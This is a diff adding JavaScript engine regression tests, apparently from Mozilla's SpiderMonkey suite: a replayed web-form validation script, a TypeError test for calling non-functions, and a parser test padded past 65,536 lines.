+ if(conf(pbc0463) == false)return false;
+ } else if(ism=='REVIEWER'){
+ if(conf(pbc0464) == false)return false;
+ }}
+ sact(action);
+ if(status>=9&&status<=11){ snul(); }
+ form.submit();
+ return true;
+}
+
+function vsav(form,status,ism,action) {
+ if(!vol()){ return false; }
+ adt1=form.STD;
+ adt2=form.END;
+ stdt=adt1.value;
+ etdt=adt2.value;
+ syr=stdt.substring(0,4);
+ start_hy1=stdt.charAt(4);
+ smon=stdt.substring(5,7);
+ start_hy2=stdt.charAt(7);
+ sdy=stdt.substring(8,10);
+ eyr=etdt.substring(0,4);
+ end_hy1=etdt.charAt(4);
+ emon=etdt.substring(5,7);
+ end_hy2=etdt.charAt(7);
+ edy=etdt.substring(8,10);
+ today=new Date();
+ date=today.getDate();
+ month=today.getMonth()+1;
+ if(today.getYear()<2000) year=today.getYear()+1900; else year=today.getYear();
+ nextYear=year+1;
+ if(!vnull(form.STD)) return false;
+ if(!vnull(form.END)) return false;
+ if(start_hy1!="/"||start_hy2!="/"){
+ alert(pbc0409);
+ form.STD.focus();
+ return false;
+ }
+ if(end_hy1!="/"||end_hy2!="/"){
+ alert(pbc0409);
+ form.END.focus();
+ return false;
+ }
+ if(smon>12||sdy>31||smon<=0||sdy<=0||(isNaN(smon)==true)||(isNaN(sdy)==true)||(isNaN(syr)==true)){
+ alert(pbc0409);
+ form.STD.focus();
+ return false;
+ }
+ if(emon>12||edy>31||emon<=0||edy<=0||(isNaN(emon)==true)||(isNaN(edy)==true)||(isNaN(eyr)==true)){
+ alert(pbc0409);
+ form.END.focus();
+ return false;
+ }
+ if(((smon==1||smon==3||smon==5||smon==7||smon==8||smon==10||smon==12)&&sdy>31)||(syr%4==0&&smon==2&&sdy>29)||(syr%4!=0&&smon==2&&sdy>28)||((smon==4||smon==6||smon==9||smon==11)&&sdy>30)){
+ alert(pbc0409);
+ form.STD.focus();
+ return false;
+ }
+ if(((emon==1||emon==3||emon==5||emon==7||emon==8||emon==10||emon==12)&&edy>31)||(eyr%4==0&&emon==2&&edy>29)||(eyr%4!=0&&emon==2&&edy>28)||((emon==4||emon==6||emon==9||emon==11)&&edy>30)){
+ alert(pbc0409);
+ form.END.focus();
+ return false;
+ }
+ if ((eyr==nextYear)&&(syr==year)) {
+ if ((emon>1)||(edy >31)) {
+ alert(pbc0401);
+ form.END.focus();
+ return false;
+ }
+ } else {
+ if ((syr<year-1) || (syr>year)) {
+ alert(pbc0407);
+ form.STD.focus();
+ return false;
+ }
+ if((eyr!=year)&&(eyr!=year-1)){
+ alert(pbc0405);
+ form.END.focus();
+ return false;
+ }
+ if(smon>emon||(smon==emon&&sdy>=edy)){
+ alert(pbc0403);
+ form.STD.focus();
+ return false;
+ }
+ }
+ if((status>2&&status<5)||(status>=5&&status<9&&ism=="YES")||(status==12&&ism=="YES")){
+ if(!vdt(form.IRD1)){return false;}
+ if(!vdt(form.IRD2)){return false;}
+ if(!vdt(form.IRD3)){ return false; }
+ ird1=form.IRD1.value;
+ ird2=form.IRD2.value;
+ ird3=form.IRD3.value;
+ if(((ird1==ird2)&&(!ird1.match(/^\s*$/)))||((ird1==ird3)&&(!ird1.match(/^\s*$/)))){
+ alert(pbc0417);
+ form.IRD1.focus();
+ return false;
+ }
+ else if((ird2==ird3)&&(!ird2.match(/^\s*$/))){
+ alert(pbc0417);
+ form.IRD2.focus();
+ return false;
+ }
+ if(!vdt(form.FRD1)){return false;}
+ if(ism=="YES"){
+ if(!vdt(form.FRD1)){return false;}
+ }
+ }
+ if((status==5||status==6)&&ism=="YES"){
+ rating="";
+ for(i=0;i<form.RCD.length;i++){
+ if(form.RCD[i].checked==true)rating=form.RCD[i].value;
+ }
+ isnh="";
+ for(i=0; i<form.INH.length; i++){
+ if(form.INH[i].checked==true){
+ isnh=form.INH[i].value;
+ }
+ }
+ if(isnh=="Y"){
+ beh="";
+ for(i=0; i<form.NHB.length;i++){
+ if(form.NHB[i].checked==true){
+ beh=form.NHB[i].value;
+ }
+ }
+ skl="";
+ for(i=0; i<form.NHS.length;i++){
+ if(form.NHS[i].checked==true){
+ skl=form.NHS[i].value;
+ }
+ }
+ if((beh=="N"||skl=="N")&&rating!=""){
+ if(form.RCD[3].checked==false){
+ if(confirm(pbc0455))srdb(form.RCD,"4");
+ else {
+ form.NHB[0].focus();
+ return false;
+ }
+ }
+ }
+ if(!vdt(form.SID)){ return false;}
+ }
+ }
+ if((status==2||status==4 || status==8 || status==5 || status==6 || status==10)&&ism=='YES')
+ {
+ if(!confirm(pbc0436)){ return false;}
+ if(form.OBJECTIVE_CHANGED.value=='Y') {
+ if(confirm(pbc0452+" "+pbc0453+" "+pbc0454)){form.MRQ.value=4; } else { form.MRQ.value=0; }
+ }else if (( status==5 || status==6 || status==10) && (form.RESULTS_CHANGED.value=='Y')) {
+ if(confirm(pbc0470+" "+pbc0453+" "+pbc0454)){form.MRQ.value=8; } else { form.MRQ.value=0; }
+ }
+ }
+ sact(action);
+ if(status>=9&&status<=11){
+ snul();
+ }
+ form.submit();
+ return true;
+}
+function cft(formfield){
+ nid=formfield.value;
+ if(nid.match(/^\s*$/)){
+ alert(pbc0419);
+ formfield.focus();
+ return false;
+ }
+ nl=nid.split('/').length;
+ if(nl!=2&&nl!=3){
+ alert(pbc0420);
+ formfield.focus();
+ return false;
+ }
+ return true;
+}
+function dcf(form,pbcId,cnum,sequence,status,atyp,ver){
+ if(!vol()){}
+ dflg=confirm("\n\n<====================== " + pbc0468 + " ======================>\n\n" + pbc0469 + "\n\n<==================================================================>");
+ if(dflg==true) {
+ form.ATYP.value=atyp;
+ form.PID.value=pbcId;
+ form.CNUM.value=cnum;
+ form.SEQ.value=sequence;
+ form.ST.value=status;
+ form.VER.value=ver;
+ form.submit();
+ }
+
+}
+
+
+
+function lop(){
+//if(confirm(pbc0447+" "+pbc0451)){
+ sck("timer","");
+ sck("PBC_AUTH4","");
+ sck("IBM004","");
+ this.close();
+//}
+
+}
+
+function csrlop(){
+ top.location="logoff.jsp";
+}
+function lof(){
+ csr=gck("IBM004");
+ if(csr==null){ top.location="logoff.jsp"; }
+ else if(csr.charAt(0)==3){ window.location="csrlogoff.jsp"; }
+ else{ top.location="logoff.jsp"; }
+}
+
+function goToHome(){
+ top.location="pbcmain.jsp";
+}
+
+function docsr(){
+ sck("IBM004","1^NONE^1");
+ window.location="pbcmain.jsp"
+ }
+
+function ccd(){
+ if(confirm(pbc0434)){
+ if(navigator.appName!="Netscape"){
+ if(!window.navigator.onLine){
+ window.close();
+ }
+ else {
+ window.location='pbcmain.jsp';
+ }
+ }
+ else {
+ window.location='pbcmain.jsp';
+ }
+ }
+}
+
+function crt(form,action){
+ if(!vol()){return false;}
+ band=form.BAND.options[form.BAND.selectedIndex].value;
+ if(band=="00"){
+ alert(pbc0425);
+ form.BAND.focus();
+ return false;
+ }
+ if(!confirm(pbc0450)){return false;}
+ sact(action);
+ form.submit();
+ return true;
+}
+function cusat(form,action){
+ if(!vol()){return false;}
+ sact(action);
+ form.action="unsatreq.jsp";
+ form.submit();
+ return true;
+}
+function cfrt(form,ism,action){
+ if(!vol()){return false;}
+ sact(action);
+ if(ism=="NO"){
+ if(confirm(pbc0449+" "+pbc0432)){
+ snul();
+ form.submit();
+ return true;
+ }
+ }
+ if(ism=="REVIEWER"){
+ if(confirm(pbc0449+" "+pbc0448)){
+ snul();
+ form.submit();
+ return true;
+ }
+ }
+ if(ism=="YES"){
+ if(confirm(pbc0440)){
+ snul();
+ form.submit();
+ return true;
+ }
+ }
+}
+
+function cces(form){
+ if(form.ESRQ.checked==true){
+ if(!confirm(pbc0435+" "+pbc0443))form.ESRQ.checked=false;
+ else {form.ESRQ.checked=true;}
+ }
+}
+
+function ccms(form){
+ if(form.MSRQ.checked==true){
+ if(!confirm(pbc0441+" "+pbc0438+" "+pbc0444+" "+pbc0445))form.MSRQ.checked=false;
+ else {
+ form.MSRQ.checked=true;
+ }
+ }
+}
+
+function ccrs(form){
+ if(form.RSRQ.checked==true){
+ if(!confirm(pbc0441+" "+pbc0438+" "+pbc0444+" "+pbc0446))form.RSRQ.checked=false;
+ else {
+ form.RSRQ.checked=true;
+ }
+ }
+}
+
+function seo(){
+ alert(pbc0412+" "+pbc0413+" "+pbc0414);
+}
+function cows(form,action){
+ if(!vol()){
+ return false;
+ }
+ if(confirm(pbc0437)){
+ sact(action);
+ form.submit();
+ return true;
+ }
+}
+
+function srdb(rdb,value) {
+ for(i=0; i<rdb.length;i++) {
+ if(rdb[i].value == value) {
+ rdb[i].checked = true;
+ return true;
+ }
+ }
+ return true;
+}
+
+function slop(lbx,value) {
+ if(lbx.options.length > 0) {
+ for(i=0;i < lbx.options.length;i++) {
+ if(lbx.options[i].value == value) {
+ lbx.options[i].selected = true;
+ return true;
+ }
+ }
+ }
+ return true;
+}
+
+function ourl(URL,WIN_NAME){
+ if(!vol()){ return; }
+ var emp_win;
+ if(document.layers) {
+ child_screenX=window.screenX+50;
+ child_width=window.innerWidth-75;
+ child_height=window.innerHeight-75;
+ emp_win=window.open(URL,WIN_NAME,"screenX="+ child_screenX +",screenY=75,height="+ child_height +",width="+ child_width +",resizable,status,scrollbars");
+ } else{
+ child_width = screen.width-160;
+ child_height = screen.height-200;
+ emp_win=window.open(URL,WIN_NAME,"height="+ child_height +",width="+ child_width +",resizable=yes,status=no,scrollbars=yes");
+//emp_win.moveTo(110,0);
+ }
+//if (URL.indexOf("pbcsitehelp")==-1) { alert("Opened new window."); }
+ emp_win.focus();
+}
+
+function dnh(form){
+ form.NHS[0].checked=false;
+ form.NHS[1].checked=false;
+ form.NHB[0].checked=false;
+ form.NHB[1].checked=false;
+}
+
+function cnh(form){
+ isnh="";
+ for(i=0; i<form.INH.length;i++)
+ {
+ if(form.INH[i].checked==true){isnh=form.INH[i].value; }
+ }
+ if(isnh != 'Y'){
+ form.NHS[0].checked=false;
+ form.NHS[1].checked=false;
+ form.NHB[0].checked=false;
+ form.NHB[1].checked=false;
+ return false;
+ }
+ else
+ {
+ //if ((form.NHS[0].checked || form.NHS[1].checked) && (form.NHB[0].checked || form.NHB[1].checked))
+ if (form.NHS[1].checked || form.NHB[1].checked )
+ {
+ form.RCD[3].checked=true;
+ return true;
+ }
+ return false;
+ }
+}
+
+function err(errMsg) {
+ alert(getEncodedText(errMsg));
+}
+
+function getEncodedText(txtValue) {
+ if (txtValue.match(/^\s*$/)) return txtValue;
+ var txtValue1 = txtValue.replace((/&quot;/g),'"');
+ var txtValue2 = txtValue1.replace((/&gt;/g),">");
+ var txtValue3 = txtValue2.replace((/&lt;/g),"<");
+ return txtValue3;
+}
+
+function encodeText(txtValue) {
+ if (txtValue.match(/^\s*$/)) return txtValue;
+ var txtValue0 = txtValue.replace((/\r\n/g),'&lf;');
+ var txtValue1 = txtValue0.replace((/"/g),'&quot;');
+var txtValue2 = txtValue1.replace((/>/g),'&gt;');
+var txtValue3 = txtValue2.replace((/</g),'&lt;');
+return txtValue3;
+}
+
+
+function gck(name){
+result = null;
+mck = " " + document.cookie + ";";
+srcnm = " " + name + "=";
+scok = mck.indexOf(srcnm);
+if(scok != -1){
+scok += srcnm.length;
+eofck = mck.indexOf(";",scok);
+result = unescape(mck.substring(scok,eofck));
+}
+return(result);
+}
+
+function sck(name,value){
+ckpth="path=/;domain=.ibm.com";
+document.cookie = name + "=" + value + ";" + ckpth;
+}
+
+
+function testForCookie(){
+ sck("PBCTest","test");
+ if(gck("PBCTest") == "test") {
+ // alert("Cookie test is good");
+ return true;
+ }
+ else {
+ // alert("Cookie test is bad");
+ return false;
+ }
+ }
+
+
+function prn(form,l_status,l_ism,l_scf,l_locale){
+status = l_status;
+ism = l_ism;
+scf = l_scf;
+pwin=window.open("printvw.jsp?nls="+l_locale + "ISNEWWIN=TRUE","pwin","resizable=yes,width=560,height=400,scrollbars=yes,toolbar,screenX=5,screenY=5");
+}
+
+function gsno(form){
+unum=form.UNUM.value;
+eofsn=unum.length-3;
+cnum=unum.substring(0,eofsn);
+return(cnum);
+}
+
+function conf(msg){
+return top.confirm(msg);
+}
+
+function sact(action){
+document.PBC_FORM.ATYP.value=action;
+}
+
+function snul(){
+document.PBC_FORM.WO.value="";
+document.PBC_FORM.WR.value="";
+document.PBC_FORM.EO.value="";
+document.PBC_FORM.ER.value="";
+document.PBC_FORM.TO.value="";
+document.PBC_FORM.TR.value="";
+document.PBC_FORM.OAT.value="";
+}
+
+function gcnum(){
+unum=document.PBC_FORM.UNUM.value;
+eofsn=unum.length-3;
+cnum=unum.substring(0,eofsn);
+return(cnum);
+}
+function checkForEditPage() {
+ if(true==checkForm()){
+ if(!confirm(pbc0465)) return false;
+ }
+ return true;
+}
+
+function checkForm() {
+ var frms=document.forms["PBC_FORM"];
+ if (navigator.appName=="Netscape") {
+ if (frms==undefined) return false;
+ if (frms.IS_EDIT==undefined) return false;
+ } else {
+ if(frms==null) return false;
+ if (frms.IS_EDIT==null) return false;
+ }
+ return true;
+}
+
+
+
+function removeAnchor(link){
+link2 = link;
+indx = link.indexOf('#');
+while (indx!=-1)
+{
+link2 = link.substring(0,indx);
+indx=link2.indexOf("#");
+
+
+}
+return link2;
+}
+
+function gotoHREF(link){
+if(document.layers){
+var documentURL = removeAnchor(document.URL);
+location.href=documentURL+link;
+return true;
+
+}else{
+var documentURL = removeAnchor(document.URL);
+document.URL=documentURL+link;
+
+
+}
+
+
+}
+
+function init_resize_event(){
+}
+
+function putVal2ck()
+{
+}
+
+function setValuesFromCookie()
+{
+}
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/js1_5/Regress/regress-224956.js b/js/src/tests/js1_5/Regress/regress-224956.js
new file mode 100644
index 000000000..6fd146fba
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-224956.js
@@ -0,0 +1,251 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 08 November 2003
+ * SUMMARY: |expr()| should cause a TypeError if |typeof expr| != 'function'
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=224956
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 224956;
+var summary = "|expr()| should cause TypeError if |typeof expr| != 'function'";
+var TEST_PASSED = 'TypeError';
+var TEST_FAILED = 'Generated an error, but NOT a TypeError! ';
+var TEST_FAILED_BADLY = 'Did not generate ANY error!!!';
+var CHECK_PASSED = 'Should not generate an error';
+var CHECK_FAILED = 'Generated an error!';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var x;
+
+
+/*
+ * All the following contain invalid uses of the call operator ()
+ * and should generate TypeErrors. That's what we're testing for.
+ *
+ * To save writing try...catch over and over, we hide all the
+ * errors inside eval strings, and let testThis() catch them.
+ */
+status = inSection(1);
+x = 'abc';
+testThis('x()');
+
+status = inSection(2);
+testThis('"abc"()');
+
+status = inSection(3);
+x = new Date();
+testThis('x()');
+
+status = inSection(4);
+testThis('Date(12345)()');
+
+status = inSection(5);
+x = Number(1);
+testThis('x()');
+
+status = inSection(6);
+testThis('1()');
+
+status = inSection(7);
+x = void(0);
+testThis('x()');
+
+status = inSection(8);
+testThis('void(0)()');
+
+status = inSection(9);
+x = Math;
+testThis('x()');
+
+status = inSection(10);
+testThis('Math()');
+
+status = inSection(11);
+x = Array(5);
+testThis('x()');
+
+status = inSection(12);
+testThis('[1,2,3,4,5]()');
+
+status = inSection(13);
+x = [1,2,3].splice(1,2);
+testThis('x()');
+
+
+/*
+ * Same as above, but with non-empty call parentheses
+ */
+status = inSection(14);
+x = 'abc';
+testThis('x(1)');
+
+status = inSection(15);
+testThis('"abc"(1)');
+
+status = inSection(16);
+x = new Date();
+testThis('x(1)');
+
+status = inSection(17);
+testThis('Date(12345)(1)');
+
+status = inSection(18);
+x = Number(1);
+testThis('x(1)');
+
+status = inSection(19);
+testThis('1(1)');
+
+status = inSection(20);
+x = void(0);
+testThis('x(1)');
+
+status = inSection(21);
+testThis('void(0)(1)');
+
+status = inSection(22);
+x = Math;
+testThis('x(1)');
+
+status = inSection(23);
+testThis('Math(1)');
+
+status = inSection(24);
+x = Array(5);
+testThis('x(1)');
+
+status = inSection(25);
+testThis('[1,2,3,4,5](1)');
+
+status = inSection(26);
+x = [1,2,3].splice(1,2);
+testThis('x(1)');
+
+
+/*
+ * Expression from website in original bug report above -
+ */
+status = inSection(27);
+var A = 1, C=2, Y=3, T=4, I=5;
+testThis('(((C/A-0.3)/0.2)+((Y/A-3)/4)+((T/A)/0.05)+((0.095-I/A)/0.4))(100/6)');
+
+
+status = inSection(28);
+x = /a()/;
+testThis('x("abc")');
+
+status = inSection(29);
+x = /a()/gi;
+testThis('x("abc")');
+
+status = inSection(30);
+x = RegExp('a()');
+testThis('x("abc")');
+
+status = inSection(31);
+x = new RegExp('a()', 'gi');
+testThis('x("")');
+
+
+/*
+ * Functions have |typeof| == 'function'.
+ *
+ * Therefore these expressions should not cause any errors.
+ * Note we use checkThis() instead of testThis()
+ *
+ */
+status = inSection(32);
+x = function (y) {return y+1;};
+checkThis('x("abc")');
+
+status = inSection(33);
+checkThis('(function (y) {return y+1;})("abc")');
+
+status = inSection(34);
+function f(y) { function g() {return y;}; return g();};
+checkThis('f("abc")');
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+
+/*
+ * |expr()| should generate a TypeError if |expr| is not a function
+ */
+function testThis(sInvalidSyntax)
+{
+ expect = TEST_PASSED;
+ actual = TEST_FAILED_BADLY;
+
+ try
+ {
+ eval(sInvalidSyntax);
+ }
+ catch(e)
+ {
+ if (e instanceof TypeError)
+ actual = TEST_PASSED;
+ else
+ actual = TEST_FAILED + e;
+ }
+
+ statusitems[UBound] = status;
+ expectedvalues[UBound] = expect;
+ actualvalues[UBound] = actual;
+ UBound++;
+}
+
+
+/*
+ * Valid syntax shouldn't generate any errors
+ */
+function checkThis(sValidSyntax)
+{
+ expect = CHECK_PASSED;
+ actual = CHECK_PASSED;
+
+ try
+ {
+ eval(sValidSyntax);
+ }
+ catch(e)
+ {
+ actual = CHECK_FAILED;
+ }
+
+ statusitems[UBound] = status;
+ expectedvalues[UBound] = expect;
+ actualvalues[UBound] = actual;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-229006.js b/js/src/tests/js1_5/Regress/regress-229006.js
new file mode 100644
index 000000000..306749af7
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-229006.js
@@ -0,0 +1,65563 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// Note this file contains a greater than 2^16 lines on _purpose_.
+// It will properly report failures when run in the js shell however
+// will fail to run at all in the browser (if it fails) due to a syntax error.
+//
+var BUGNUMBER = 229006;
+var summary = 'JS parser should not fail when line number &gt 2^16';
+var actual = 'FAIL';
+var expect = 'PASS';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
